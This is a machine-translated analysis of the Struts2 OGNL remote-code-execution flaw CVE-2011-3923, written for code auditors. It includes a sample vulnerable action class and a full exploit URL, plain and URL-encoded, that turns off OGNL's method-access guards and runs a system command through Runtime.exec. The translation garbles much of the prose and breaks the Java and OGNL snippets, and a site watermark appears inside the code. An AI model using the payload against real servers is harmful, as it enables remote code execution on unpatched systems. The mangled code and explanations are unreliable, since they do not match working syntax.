0x01Summary
In an Ognl expression, the variable content contained in the brackets "()" is executed as an Ognl expression. This feature of the Ognl expression leads to a new attack idea. By storing malicious code in variables, and then using this variable in the function that calls the Ognl expression to execute malicious code, the attack is realized.
This article will take the CVE-2011-3923 vulnerability as an example to describe the specific process of this exploitation idea. However, the content of this article is not limited to this vulnerability. In the actual audit process, this idea can be used to discover many similar vulnerabilities.
0x02Background and Principle Analysis
This vulnerability is very similar to the CVE-2010-1870, is through the Ognl expression to execute java, to achieve Remote Code Execution effect. Let's first review the CVE-2010-1870 vulnerability, it is the attacker through the get method to submit the Ognl expression, directly call java static method to implement code execution. After this problem emerges, struts officially strengthened the review of the content submitted by users, and prohibited the use of special characters such as "#" and "\" as parameters for submission.
So we can't remotely execute the Ognl expression? Of course not. Ognl provides us with another method to execute it. Let's take a look at some of the content in the official document:
For example, this expression
# Fact (30 H)
Looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the rootobject. see below for an example of setting the fact variable with an expression that returns the factorial of its argument. note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. for example, if the current object had a fact property that held an OGNL factorial expression, you cocould not use this approach to call it
Fact (30 H)
Because OGNL wowould interpret this as a call to the fact method. You cocould force the interpretation you want by surrounding the property reference by parentheses:
(Fact) (30 H)
The Ognl expression provides the "# fack ()" function to call the context object method. We need to pay attention to the red text, which roughly means the following: if you want to call the methods of objects in the context, you can use the format "(fact) ()" to write.
During the test, we found that the Ognl expression in the form of (one) (two) will first execute one as another Ognl expression, and then continue the subsequent work. In this case, if the program calls a function that can execute an Ognl expression, we pass in a malicious expression through the variable, then, the filters made by struts become a "transparent door ".
0x03Instance simulation and tracking
In normal calls, we find the setValue function, which is used to assign values to the Target Based on the Ognl expression. In this process, the Ognl expression is executed. In struts2, you can set the setter and getter methods in the class inheriting ActionSupport to assign values to private member variables through the get and post methods. This method uses the setValue function. Next we will build a class like this:
Package action; www.2cto.com
Import ognl. Ognl;
Import com. opensymphony. xwork2.ActionSupport;
Public class HelloWorld extends ActionSupport {
Private String tang3;
Public void settang3 (String tang3 ){
This. tang3 = tang3;
}
Public String gettang3 (){
Return tang3;
}
Public String execute () throws Exception {
System. out. println (tang3 );
Return SUCCESS;
}
} The above Code simply implements the function of accepting the parameter "tang3" and printing its content to the console. During the process of tracking it, it is found that the parameters submitted by the user are called by com. opensymphony. xwork2.interceptor. the set Parameters method in the ParametersInterceptor class is used to obtain Parameters. This method calls the setValue function. The Code is as follows:
If (acceptableName ){
Object value = entry. getValue ();
Try {
Stack. setValue (name, value); // red font
} Catch (RuntimeException e) {Pay Attention to the red part, the name parameter is part of the Ognl expression, the value is the object to be assigned, and the previous CVE-2010-1870 vulnerability, it is also an Ognl expression executed through this function. Next let's take a look at how to combine the content mentioned above to let this function execute the Java code we need.
According to the previously mentioned Ognl expression feature, we should construct such a url:
/Helloword. acton? Tang3 = <OGNL statement> & (tang3) ('meh') = 1 after submitting such a url, the web server will do two things. First, the Ognl expression content is stored in the tang3 variable. Second, the http parameter named (tang3) ('meh') is executed as another Ognl expression, in addition, the action attribute tang3 restores the content from the action to (<OGNL statement>) ('meh ').
Because url Decoding is automatically performed when an http parameter is passed into a variable, we can use a specific character such as "#" in url encoding to bypass regular expression filtering.
Note that the content in the tang3 attribute must be executed first. Therefore, we need a tip. When submitting a parameter, use the parameter z [(tang3) ('meh')] = 1 to ensure that the variable tang3 is executed first. Below we construct a url that can pop up the calculator:
/Helloworld. action? Tang3 = (# context ["xwork. methodAccessor. denyMethodExecution "] = new java. lang. boolean (false), # _ memberAccess ["allowStaticMethodAccess"] = true, @java.lang.runtime@getruntime(.exe c ('calc') (meh) & z [(tang3) ('meh')] = after 1url encoding:
/Helloworld. action? Tang3 = % 28% 23 context ["xwork. methodAccessor. denyMethodExecution "] % 3D + new + java. lang. boolean % 28 false % 29, % 20% 23_memberAccess ["allowStaticMethodAccess"] % 3 dtrue, % [email] 20@java.lang.Runtime [/email%@getruntime%28%29.exe c % 28% 27 calc % 27% 29% 29% 28meh % 29 & z [% 28tang3% 29% 28% 27meh % 27% 29] = 1 effect such:
From the bottom red box, we can see that the content of the tang3 variable printed on the console is the code we just entered.
0x04Summary
1. The exploitation method of this vulnerability has limitations. The target code requires a private member variable which can be assigned a value directly through the http parameter. At the same time, attackers need to know the name of this private member. However, from the perspective of code auditing, this problem can be easily discovered. However, most websites built using the struts framework are closed-source, making it difficult to perform white-box testing.
2. This problem has been fixed after struts2.3.1.2. The original version of the official patch is as follows:
The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.
Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.
The solution is to further reduce the content contained in the ParameterInterceptor whitelist and disable the parameter name from executing a regular expression.
3. The powerful Ognl expression can be clearly seen from the vulnerabilities exposed by struts. As long as there are functions that call Ognl expressions, code execution problems may occur. In my previous article "Struts2 vulnerability analysis-Ongl code execution analysis", I called findValue as the eval function in struts, which is obviously narrow. The Ognl expression is called an eval function. You must be careful when writing the code.
4. I again reiterate that at the beginning of this article, this article is not limited to the CVE-2011-3923 vulnerability, but it has been fixed. The purpose of this article is to hope that readers can use this vulnerability to understand the feature of wrapping variables through brackets and executing Ognl expressions, so as to add a new idea for future audits.